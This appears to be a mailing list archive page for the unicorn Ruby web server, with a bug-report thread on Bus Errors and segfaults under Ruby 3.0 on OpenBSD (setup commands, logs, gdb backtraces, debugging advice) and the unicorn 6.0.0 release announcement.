- s.required_ruby_version = ">= 1.9.3"
+ s.required_ruby_version = ">= 2.0.0"
# We do not have a hard dependency on rack, it's possible to load
# things which respond to #call. HTTP status lines in responses
^ permalink raw reply related [relevance 17%]
* Bus Error with Unicorn 6.0 on OpenBSD-current (6.9) with Ruby 3.0 in minimal rails application
2021-04-04 20:03 3% ` Eric Wong
@ 2021-04-07 21:19 0% ` vtamara
0 siblings, 0 replies; 200+ results
From: vtamara @ 2021-04-07 21:19 UTC (permalink / raw)
To: Eric Wong; +Cc: Jeremy Evans, unicorn-public, ports
Good evening
I found that the problem happens also:
1. In OpenBSD-current (what will be 6.9 soon) --for that reason I copy
to ports-openbsd
2. With what I consider the minimal rails application, started with the
flag --minimal, running with sqlite, i.e:
rails new --minimal ap61
The configuration of gems in /var/www/bundler and the configuration of
nginx is as I explained in the previous email
https://yhbt.net/unicorn-public/20210404200358.GA32719@dcvr/T/#mcf469c2eb443db6c9e4fee55afa3b252606c27f2
but changing cor1440 with ap61.
In my previous email I forgot some details, like how to create self
signed certificate and how to install nginx and ruby, here they go:
doas pkg_add nginx
doas pkg_add ruby-3.0.0p0
ln -sf /usr/local/bin/ruby30 /usr/local/bin/ruby
ln -sf /usr/local/bin/erb30 /usr/local/bin/erb
ln -sf /usr/local/bin/irb30 /usr/local/bin/irb
ln -sf /usr/local/bin/rdoc30 /usr/local/bin/racc
ln -sf /usr/local/bin/rdoc30 /usr/local/bin/rdoc
ln -sf /usr/local/bin/rdoc30 /usr/local/bin/rbs
ln -sf /usr/local/bin/ri30 /usr/local/bin/ri
ln -sf /usr/local/bin/rake30 /usr/local/bin/rake
ln -sf /usr/local/bin/gem30 /usr/local/bin/gem
ln -sf /usr/local/bin/bundle30 /usr/local/bin/bundle
ln -sf /usr/local/bin/bundler30 /usr/local/bin/bundler
ln -sf /usr/local/bin/typeprof30 /usr/local/bin/typeprof
# Creating self signed certificate
doas openssl genrsa -out /etc/ssl/private/server.key 2048
openssl req -new -key /etc/ssl/private/server.key \
-out /etc/ssl/private/server.csr
openssl x509 -req -days 3650 -in /etc/ssl/private/server.csr \
-signkey /etc/ssl/private/server.key -out /etc/ssl/server.crt
# Installing sqlite3
doas pkg_add sqlite3
doas gem install --install-dir /var/www/bundler/ruby/3.0/ sqlite3
# Installing rails globally
doas gem install rails
doas ln -s /usr/local/bin/rails30 /usr/local/bin/rails
rails new --minimal ap61
mv ap61 /var/www/htdocs/
cd /var/www/htdocs/ap61
# Configuring unicorn
cat <<EOF >> Gemfile
group :production do
gem 'unicorn'
end
EOF
doas gem install --install-dir /var/www/bundler/ruby/3.0 unicorn
bundle
cat <<EOF > config/unicorn.rb
listen 2011
APP_PATH="/var/www/htdocs/ap61"
working_directory APP_PATH
worker_processes 2
pid APP_PATH + "/tmp/pids/unicorn.pid"
stderr_path APP_PATH + "/log/unicorn.log"
stdout_path APP_PATH + "/log/unicorn.log"
EOF
# Start the application
bundle exec /usr/local/bin/unicorn_rails -c config/unicorn.rb -E
production -D
# Try to see the initial rails screen
doas pkg_add w3m
w3m https://127.0.0.1/ap61
It will not present the presentation screen, stopping w3m and checking
the logfile I see the samen Segmentation faults:
I, [2021-04-07T15:27:34.289298 #75098] INFO -- : listening on
addr=0.0.0.0:2011 fd=12
I, [2021-04-07T15:27:34.290752 #75098] INFO -- : worker=0 spawning...
I, [2021-04-07T15:27:34.303205 #75098] INFO -- : worker=1 spawning...
I, [2021-04-07T15:27:34.308574 #98078] INFO -- : worker=0 spawned
pid=98078
I, [2021-04-07T15:27:34.310157 #98078] INFO -- : Refreshing Gem list
I, [2021-04-07T15:27:34.329730 #75098] INFO -- : master process ready
I, [2021-04-07T15:27:34.390398 #14713] INFO -- : worker=1 spawned
pid=14713
I, [2021-04-07T15:27:34.391984 #14713] INFO -- : Refreshing Gem list
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:86: [BUG]
Segmentation fault at 0x0000000000000000
ruby 3.0.0p0 (2020-12-25 revision 95aff21468) [x86_64-openbsd]
-- Control frame information
-----------------------------------------------
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80: [BUG]
Segmentation fault at 0x0000000000000001
ruby 3.0.0p0 (2020-12-25 revision 95aff21468) [x86_64-openbsd]
-- Control frame information
-----------------------------------------------
E, [2021-04-07T15:27:50.430649 #75098] ERROR -- : reaped
#<Process::Status: pid 98078 SIGSEGV (signal 11) (core dumped)> worker=0
I, [2021-04-07T15:27:50.430976 #75098] INFO -- : worker=0 spawning...
I, [2021-04-07T15:27:50.439973 #19064] INFO -- : worker=0 spawned
pid=19064
I, [2021-04-07T15:27:50.441607 #19064] INFO -- : Refreshing Gem list
E, [2021-04-07T15:27:51.490681 #75098] ERROR -- : reaped
#<Process::Status: pid 14713 SIGSEGV (signal 11) (core dumped)> worker=1
I, [2021-04-07T15:27:51.491040 #75098] INFO -- : worker=1 spawning...
I, [2021-04-07T15:27:51.500370 #66270] INFO -- : worker=1 spawned
pid=66270
I, [2021-04-07T15:27:51.501983 #66270] INFO -- : Refreshing Gem list
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80: [BUG]
Segmentation fault at 0x0000030bbfc8d6f5
ruby 3.0.0p0 (2020-12-25 revision 95aff21468) [x86_64-openbsd]
-- Control frame information
-----------------------------------------------
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80: [BUG]
Segmentation fault at 0x0000000000000001
ruby 3.0.0p0 (2020-12-25 revision 95aff21468) [x86_64-openbsd]
-- Control frame information
-----------------------------------------------
E, [2021-04-07T15:28:05.676716 #75098] ERROR -- : reaped
#<Process::Status: pid 19064 SIGSEGV (signal 11) (core dumped)> worker=0
I, [2021-04-07T15:28:05.677110 #75098] INFO -- : worker=0 spawning...
I, [2021-04-07T15:28:05.685956 #32548] INFO -- : worker=0 spawned
pid=32548
I, [2021-04-07T15:28:05.687658 #32548] INFO -- : Refreshing Gem list
E, [2021-04-07T15:28:06.272044 #75098] ERROR -- : reaped
#<Process::Status: pid 66270 SIGSEGV (signal 11) (core dumped)> worker=1
I, [2021-04-07T15:28:06.272459 #75098] INFO -- : worker=1 spawning...
I, [2021-04-07T15:28:06.281695 #65711] INFO -- : worker=1 spawned
pid=65711
I, [2021-04-07T15:28:06.283312 #65711] INFO -- : Refreshing Gem list
--------
A core file is generated:
$ ls -l ruby30.core
-rw------- 1 servidor servidor 44485672 Apr 7 15:41 ruby30.core
Checking the trace
$ doas pkg_add gdb
$ egdb /usr/local/bin/ruby30 ruby30.core
...
[New process 601176]
[New process 412220]
[New process 332011]
Core was generated by `ruby30'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000030bbfc70af8 in rb_vm_frame_method_entry ()
from /usr/local/lib/libruby30.so
[Current thread is 1 (process 601176)]
(gdb) bt
#0 0x0000030bbfc70af8 in rb_vm_frame_method_entry ()
from /usr/local/lib/libruby30.so
#1 0x0000030bbfca04cb in rb_vmdebug_stack_dump_raw ()
from /usr/local/lib/libruby30.so
#2 0x0000030bbfca118a in rb_vm_bugreport () from
/usr/local/lib/libruby30.so
#3 0x0000030bbfabd021 in rb_bug_for_fatal_signal ()
from /usr/local/lib/libruby30.so
#4 0x0000030bbfbf4470 in sigsegv () from /usr/local/lib/libruby30.so
#5 <signal handler called>
#6 0x0000030bbfc78bb8 in vm_exec_core () from
/usr/local/lib/libruby30.so
#7 0x0000030bbfc89d95 in rb_vm_exec () from /usr/local/lib/libruby30.so
#8 0x0000030bbfb20b0b in load_iseq_eval () from
/usr/local/lib/libruby30.so
#9 0x0000030bbfb1ebaf in rb_load_internal () from
/usr/local/lib/libruby30.so
#10 0x0000030bbfb20216 in rb_f_load () from /usr/local/lib/libruby30.so
#11 0x0000030bbfc9717e in vm_call_cfunc_with_frame ()
from /usr/local/lib/libruby30.so
#12 0x0000030bbfc8e955 in vm_sendish () from /usr/local/lib/libruby30.so
#13 0x0000030bbfc77292 in vm_exec_core () from
/usr/local/lib/libruby30.so
#14 0x0000030bbfc89d95 in rb_vm_exec () from /usr/local/lib/libruby30.so
#15 0x0000030bbfb20b0b in load_iseq_eval () from
/usr/local/lib/libruby30.so
#16 0x0000030bbfb1ebaf in rb_load_internal () from
/usr/local/lib/libruby30.so
#17 0x0000030bbfb20216 in rb_f_load () from /usr/local/lib/libruby30.so
#18 0x0000030bbfc9717e in vm_call_cfunc_with_frame ()
from /usr/local/lib/libruby30.so
#19 0x0000030bbfc8e955 in vm_sendish () from /usr/local/lib/libruby30.so
#20 0x0000030bbfc77292 in vm_exec_core () from
/usr/local/lib/libruby30.so
#21 0x0000030bbfc89d95 in rb_vm_exec () from /usr/local/lib/libruby30.so
#22 0x0000030bbfb20b0b in load_iseq_eval () from
/usr/local/lib/libruby30.so
#23 0x0000030bbfb1ebaf in rb_load_internal () from
/usr/local/lib/libruby30.so
#24 0x0000030bbfb20216 in rb_f_load () from /usr/local/lib/libruby30.so
#25 0x0000030bbfc9717e in vm_call_cfunc_with_frame ()
from /usr/local/lib/libruby30.so
#26 0x0000030bbfc8e955 in vm_sendish () from /usr/local/lib/libruby30.so
#27 0x0000030bbfc77292 in vm_exec_core () from
/usr/local/lib/libruby30.so
#28 0x0000030bbfc89d95 in rb_vm_exec () from /usr/local/lib/libruby30.so
#29 0x0000030bbfac5044 in rb_ec_exec_node () from
/usr/local/lib/libruby30.so
#30 0x0000030bbfac4eca in ruby_run_node () from
/usr/local/lib/libruby30.so
#31 0x0000030997a42cec in main ()
I still have not tried to use the .gdbinit file, but hope to do it soon.
Blessings.
El 2021-04-04 16:03, Eric Wong escribió:
> Jeremy Evans <code@jeremyevans.net> wrote:
>> Unfortunately, given the required amount of setup, I don't think I'll
>> have time to look into this. The best way to debug this is to start
>> removing code/dependencies piece by piece until the problem goes away.
>> Once the problem goes away, add that code back, and make sure it fails
>> again, then start removing other code/dependencies. Repeat this
>> process
>> until you have the most minimal example, where removing any additional
>> code/dependencies will stop the code from failing.
>
> The above is exactly what I would do, too.
>
> I would also try to correlate the time of Bus Errors with logs
> of when + which requests are failing, and try replaying only
> those requests to narrow things down.
>
> Also, do you have core dumps enabled? Enable those
> ("ulimit -c unlimited" in sh), and run gdb on them as you get
> them. The .gdbinit in the source tree of the Ruby version
> you're using is helpful not just for Ruby itself, but
> also C extensions, too. I'm no a gdb expert, but it's
> well-documented and has built-in help.
--
Dios, gracias por tu amor infinito.
--
Vladimir Támara Patiño. http://vtamara.pasosdeJesus.org/
http://www.pasosdejesus.org/dominio_publico_colombia.html
^ permalink raw reply [relevance 0%]
* Re: Bus Error with Unicorn 6.0 on OpenBSD/adJ 6.8 with Ruby 3.0
@ 2021-04-04 20:03 3% ` Eric Wong
2021-04-07 21:19 0% ` Bus Error with Unicorn 6.0 on OpenBSD-current (6.9) with Ruby 3.0 in minimal rails application vtamara
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2021-04-04 20:03 UTC (permalink / raw)
To: vtamara; +Cc: Jeremy Evans, unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> Unfortunately, given the required amount of setup, I don't think I'll
> have time to look into this. The best way to debug this is to start
> removing code/dependencies piece by piece until the problem goes away.
> Once the problem goes away, add that code back, and make sure it fails
> again, then start removing other code/dependencies. Repeat this process
> until you have the most minimal example, where removing any additional
> code/dependencies will stop the code from failing.
The above is exactly what I would do, too.
I would also try to correlate the time of Bus Errors with logs
of when + which requests are failing, and try replaying only
those requests to narrow things down.
Also, do you have core dumps enabled? Enable those
("ulimit -c unlimited" in sh), and run gdb on them as you get
them. The .gdbinit in the source tree of the Ruby version
you're using is helpful not just for Ruby itself, but
also C extensions, too. I'm no a gdb expert, but it's
well-documented and has built-in help.
^ permalink raw reply [relevance 3%]
* Bus Error with Unicorn 6.0 on OpenBSD/adJ 6.8 with Ruby 3.0
@ 2021-03-29 19:06 1% vtamara
0 siblings, 1 reply; 200+ results
From: vtamara @ 2021-03-29 19:06 UTC (permalink / raw)
To: unicorn-public
Hi
Launching a rails application with Ruby 3, Unicorn 6 on OpenBSD/adJ 6.8,
I'm
experiencing a lot of "Bus Error" and "Segmentation Faults" during
aproximately half hour. Around the first 10 minutes the application is
not accessible from a browser. After it is possible to use the
application and after half hour it runs withouth errors. Pasting below
what appears in the log file after launching the application at 9:29AM
and trying to use it at 9:30AM:
---------------------------------
% grep ERROR log/unicorn.log
E, [2021-03-29T09:30:03.442089 #41947] ERROR -- : reaped
#<Process::Status: pid 76292 SIGBUS (signal 10) (core dumped)> worker=1
E, [2021-03-29T09:30:03.510420 #41947] ERROR -- : reaped
#<Process::Status: pid 64220 SIGBUS (signal 10) (core dumped)> worker=0
E, [2021-03-29T09:30:18.142316 #41947] ERROR -- : reaped
#<Process::Status: pid 92400 SIGBUS (signal 10) (core dumped)> worker=1
E, [2021-03-29T09:30:18.479996 #41947] ERROR -- : reaped
#<Process::Status: pid 91828 SIGSEGV (signal 11) (core dumped)> worker=0
E, [2021-03-29T09:30:31.009344 #41947] ERROR -- : reaped
#<Process::Status: pid 69666 SIGBUS (signal 10) (core dumped)> worker=1
E, [2021-03-29T09:30:31.773215 #41947] ERROR -- : reaped
#<Process::Status: pid 932 SIGBUS (signal 10) (core dumped)> worker=0
E, [2021-03-29T09:30:41.854087 #41947] ERROR -- : reaped
#<Process::Status: pid 89615 SIGBUS (signal 10) (core dumped)> worker=1
E, [2021-03-29T09:30:43.806074 #41947] ERROR -- : reaped
#<Process::Status: pid 85832 SIGBUS (signal 10) (core dumped)> worker=0
E, [2021-03-29T09:30:51.204133 #41947] ERROR -- : reaped
#<Process::Status: pid 22197 SIGBUS (signal 10) (core dumped)> worker=1
E, [2021-03-29T09:30:54.411162 #41947] ERROR -- : reaped
#<Process::Status: pid 41441 SIGBUS (signal 10) (core dumped)> worker=0
...
---------------------------------
It failed 175 times between 9:30 and 9:56 (around 7 times per minute).
I'm pasting below details of the first errors (the others are very
similar):
---------------------------------
I, [2021-03-29T09:29:43.080073 #41947] INFO -- : listening on
addr=0.0.0.0:2023 fd=12
I, [2021-03-29T09:29:43.080590 #41947] INFO -- : worker=0 spawning...
I, [2021-03-29T09:29:43.085933 #41947] INFO -- : worker=1 spawning...
I, [2021-03-29T09:29:43.092779 #41947] INFO -- : master process ready
I, [2021-03-29T09:29:43.097320 #64220] INFO -- : worker=0 spawned
pid=64220
I, [2021-03-29T09:29:43.099608 #64220] INFO -- : Refreshing Gem list
I, [2021-03-29T09:29:43.098921 #76292] INFO -- : worker=1 spawned
pid=76292
I, [2021-03-29T09:29:43.101231 #76292] INFO -- : Refreshing Gem list
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80: [BUG]
Bus Error at 0x000003cb54021715
ruby 3.0.0p0 (2020-12-25 revision 95aff21468) [x86_64-openbsd]
-- Control frame information
-----------------------------------------------
E, [2021-03-29T09:30:03.442089 #41947] ERROR -- : reaped
#<Process::Status: pid 76292 SIGBUS (signal 10) (core dumped)> worker=1
I, [2021-03-29T09:30:03.442265 #41947] INFO -- : worker=1 spawning...
I, [2021-03-29T09:30:03.450867 #92400] INFO -- : worker=1 spawned
pid=92400
I, [2021-03-29T09:30:03.451758 #92400] INFO -- : Refreshing Gem list
E, [2021-03-29T09:30:03.510420 #41947] ERROR -- : reaped
#<Process::Status: pid 64220 SIGBUS (signal 10) (core dumped)> worker=0
I, [2021-03-29T09:30:03.510651 #41947] INFO -- : worker=0 spawning...
I, [2021-03-29T09:30:03.519324 #91828] INFO -- : worker=0 spawned
pid=91828
I, [2021-03-29T09:30:03.520401 #91828] INFO -- : Refreshing Gem list
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80: [BUG]
Bus Error at 0x000003cb5402178a
ruby 3.0.0p0 (2020-12-25 revision 95aff21468) [x86_64-openbsd]
-- Control frame information
-----------------------------------------------
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80: [BUG]
Segmentation fault at 0x0000002100100001
ruby 3.0.0p0 (2020-12-25 revision 95aff21468) [x86_64-openbsd]
-- Control frame information
-----------------------------------------------
E, [2021-03-29T09:30:18.142316 #41947] ERROR -- : reaped
#<Process::Status: pid 92400 SIGBUS (signal 10) (core dumped)> worker=1
I, [2021-03-29T09:30:18.142690 #41947] INFO -- : worker=1 spawning...
I, [2021-03-29T09:30:18.151973 #69666] INFO -- : worker=1 spawned
pid=69666
I, [2021-03-29T09:30:18.152831 #69666] INFO -- : Refreshing Gem list
E, [2021-03-29T09:30:18.479996 #41947] ERROR -- : reaped
#<Process::Status: pid 91828 SIGSEGV (signal 11) (core dumped)> worker=0
I, [2021-03-29T09:30:18.480196 #41947] INFO -- : worker=0 spawning...
I, [2021-03-29T09:30:18.488551 #932] INFO -- : worker=0 spawned pid=932
I, [2021-03-29T09:30:18.489657 #932] INFO -- : Refreshing Gem list
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80: [BUG]
Bus Error at 0x000003cb5402178a
ruby 3.0.0p0 (2020-12-25 revision 95aff21468) [x86_64-openbsd]
-- Control frame information
-----------------------------------------------
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80: [BUG]
Bus Error at 0x000003cb54021715
...
----------------------------------------
The line 80 of the file
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb is:
case ENV["RACK_ENV"]
Only 4 errors had a backtrace, pasting the first one:
----------------------------------------
I, [2021-03-29T09:34:31.278771 #37959] INFO -- : Refreshing Gem list
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80: [BUG]
Segmentation fault at 0x0000000000000019
ruby 3.0.0p0 (2020-12-25 revision 95aff21468) [x86_64-openbsd]
-- Control frame information
-----------------------------------------------
c:0027 p:0168 s:0177 e:000174 BLOCK
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80
c:0026 p:0040 s:0167 e:000166 BLOCK
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/bin/unicorn_rails:139
c:0025 p:0098 s:0160 e:000157 METHOD
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:826
c:0024 p:0180 s:0154 E:001988 METHOD
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:690
c:0023 p:0010 s:0147 e:000146 METHOD
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:712
c:0022 p:0122 s:0132 e:000131 METHOD
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:547
c:0021 p:0030 s:0124 e:000123 METHOD
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:561
c:0020 p:0205 s:0119 e:000118 METHOD
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:294
c:0019 p:0230 s:0111 E:001550 TOP
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/bin/unicorn_rails:209
[FINISH]
c:0018 p:---- s:0104 e:000103 CFUNC :load
c:0017 p:0112 s:0099 e:000098 TOP /usr/local/bin/unicorn_rails:23
[FINISH]
c:0016 p:---- s:0094 e:000093 CFUNC :load
c:0015 p:0107 s:0089 e:000088 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli/exec.rb:63
c:0014 p:0071 s:0083 e:000082 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli/exec.rb:28
c:0013 p:0024 s:0078 e:000077 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli.rb:494
c:0012 p:0054 s:0073 e:000072 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/vendor/thor/lib/thor/command.rb:27
c:0011 p:0040 s:0065 e:000064 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/vendor/thor/lib/thor/invocation.rb:127
c:0010 p:0239 s:0058 e:000057 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/vendor/thor/lib/thor.rb:392
c:0009 p:0008 s:0045 e:000044 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli.rb:30
c:0008 p:0066 s:0040 e:000039 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/vendor/thor/lib/thor/base.rb:485
c:0007 p:0008 s:0033 e:000032 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli.rb:24
c:0006 p:0109 s:0028 e:000027 BLOCK
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/exe/bundle:49
c:0005 p:0014 s:0022 e:000021 METHOD
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/friendly_errors.rb:130
c:0004 p:0162 s:0017 E:001778 TOP
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/exe/bundle:37 [FINISH]
c:0003 p:---- s:0013 e:000012 CFUNC :load
c:0002 p:0112 s:0008 E:001580 EVAL /usr/local/bin/bundle:23 [FINISH]
c:0001 p:0000 s:0003 E:000740 (none) [FINISH]
-- Ruby level backtrace information
----------------------------------------
/usr/local/bin/bundle:23:in `<main>'
/usr/local/bin/bundle:23:in `load'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/exe/bundle:37:in `<top
(required)>'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/friendly_errors.rb:130:in
`with_friendly_errors'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/exe/bundle:49:in `block
in <top (required)>'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli.rb:24:in
`start'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/vendor/thor/lib/thor/base.rb:485:in
`start'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli.rb:30:in
`dispatch'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/vendor/thor/lib/thor.rb:392:in
`dispatch'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/vendor/thor/lib/thor/invocation.rb:127:in
`invoke_command'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/vendor/thor/lib/thor/command.rb:27:in
`run'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli.rb:494:in
`exec'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli/exec.rb:28:in
`run'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli/exec.rb:63:in
`kernel_load'
/usr/local/lib/ruby/gems/3.0/gems/bundler-2.2.15/lib/bundler/cli/exec.rb:63:in
`load'
/usr/local/bin/unicorn_rails:23:in `<top (required)>'
/usr/local/bin/unicorn_rails:23:in `load'
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/bin/unicorn_rails:209:in
`<top (required)>'
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:294:in
`join'
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:561:in
`maintain_worker_count'
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:547:in
`spawn_missing_workers'
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:712:in
`worker_loop'
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:690:in
`init_worker_process'
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn/http_server.rb:826:in
`build_app!'
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/bin/unicorn_rails:139:in
`block in rails_builder'
/var/www/bundler/ruby/3.0/gems/unicorn-6.0.0/lib/unicorn.rb:80:in `block
in builder'
-- Other runtime information
-----------------------------------------------
* Loaded script: unicorn_rails worker[0] -c
/var/www/htdocs/sivel2/config/unicorn.conf.minimal.rb -E production -D
* Loaded features:
0 enumerator.so
1 thread.rb
2 rational.so
3 complex.so
4 ruby2_keywords.rb
5 /usr/local/lib/ruby/3.0/x86_64-openbsd/enc/encdb.so
6 /usr/local/lib/ruby/3.0/x86_64-openbsd/enc/trans/transdb.so
7 /usr/local/lib/ruby/3.0/x86_64-openbsd/rbconfig.rb
8 /usr/local/lib/ruby/site_ruby/3.0/rubygems/compatibility.rb
9 /usr/local/lib/ruby/site_ruby/3.0/rubygems/defaults.rb
10 /usr/local/lib/ruby/site_ruby/3.0/rubygems/deprecate.rb
11 /usr/local/lib/ruby/site_ruby/3.0/rubygems/errors.rb
12 /usr/local/lib/ruby/site_ruby/3.0/rubygems/exceptions.rb
13 /usr/local/lib/ruby/site_ruby/3.0/rubygems/basic_specification.rb
14 /usr/local/lib/ruby/site_ruby/3.0/rubygems/stub_specification.rb
15 /usr/local/lib/ruby/site_ruby/3.0/rubygems/text.rb
16 /usr/local/lib/ruby/site_ruby/3.0/rubygems/user_interaction.rb
17 /usr/local/lib/ruby/site_ruby/3.0/rubygems/specification_policy.rb
18 /usr/local/lib/ruby/site_ruby/3.0/rubygems/util/list.rb
19 /usr/local/lib/ruby/site_ruby/3.0/rubygems/platform.rb
20 /usr/local/lib/ruby/site_ruby/3.0/rubygems/version.rb
21 /usr/local/lib/ruby/site_ruby/3.0/rubygems/requirement.rb
22 /usr/local/lib/ruby/site_ruby/3.0/rubygems/specification.rb
23 /usr/local/lib/ruby/site_ruby/3.0/rubygems/util.rb
24 /usr/local/lib/ruby/site_ruby/3.0/rubygems/dependency.rb
...
2937
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/server/connections.rb
2938
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/server/configuration.rb
2939
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/server/worker/active_record_connection_management.rb
2940
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/server/worker.rb
2941
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/channel.rb
2942
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/channel/callbacks.rb
2943
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/channel/periodic_timers.rb
2944
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/channel/streams.rb
2945
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/channel/naming.rb
2946
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/channel/broadcasting.rb
2947
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/channel/base.rb
2948
/var/www/bundler/ruby/3.0/gems/actioncable-6.1.3.1/lib/action_cable/server/base.rb
2949 /var/www/htdocs/sivel2/config/environment.rb
----------------------------------------
Blessings
--
Dios, gracias por tu amor infinito.
--
Vladimir Támara Patiño. http://vtamara.pasosdeJesus.org/
http://www.pasosdejesus.org/dominio_publico_colombia.html
^ permalink raw reply [relevance 1%]
* [ANN] unicorn 6.0.0 - Rack HTTP server for fast clients and *nix
@ 2021-03-17 6:43 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-03-17 6:43 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: Dirkjan Bussink, John Crepezzi, Kevin Sawicki
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
.onion URLs below are available for Tor users and can reduce
our operating costs:
* https://yhbt.net/unicorn/
http://unicorn.ou63pmih66umazou.onion/
* public list: unicorn-public@yhbt.net
* mail archives: https://yhbt.net/unicorn-public/
http://ou63pmih66umazou.onion/unicorn-public/
* git clone https://yhbt.net/unicorn.git
torsocks git clone http://ou63pmih66umazou.onion/unicorn.git
* https://yhbt.net/unicorn/NEWS.atom.xml
http://unicorn.ou63pmih66umazou.onion/NEWS.atom.xml
* nntps://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn
imaps://news.public-inbox.org/inbox.comp.lang.ruby.unicorn.0
imap://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn.0
Changes:
unicorn 6.0.0 - no more recycling Rack env
This release allocates a new Rack `env' hash for every request.
This is done for safety with internally-(thread|event)-using Rack
apps which expect to use `env' after the normal Rack response is
complete, but without relying on rack.hijack[1]. Thanks to
Dirkjan Bussink <d.bussink@gmail.com> for the patch:
https://yhbt.net/unicorn-public/66A68DD8-83EF-4C7A-80E8-3F1F7AB31670@github.com/
The major version is bumped since:
1) there are performance regressions for some simple Rack apps
2) unsupported 3rd-party monkey patches which previously
relied on this behavior may be broken (our version of
OobGC was).
The test suite is also more reliable on multi-core systems
and Ruby 3.x.
^ permalink raw reply [relevance 3%]
* Re: Potential Unicorn vulnerability
2021-03-12 11:14 4% ` Dirkjan Bussink
@ 2021-03-12 12:00 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-03-12 12:00 UTC (permalink / raw)
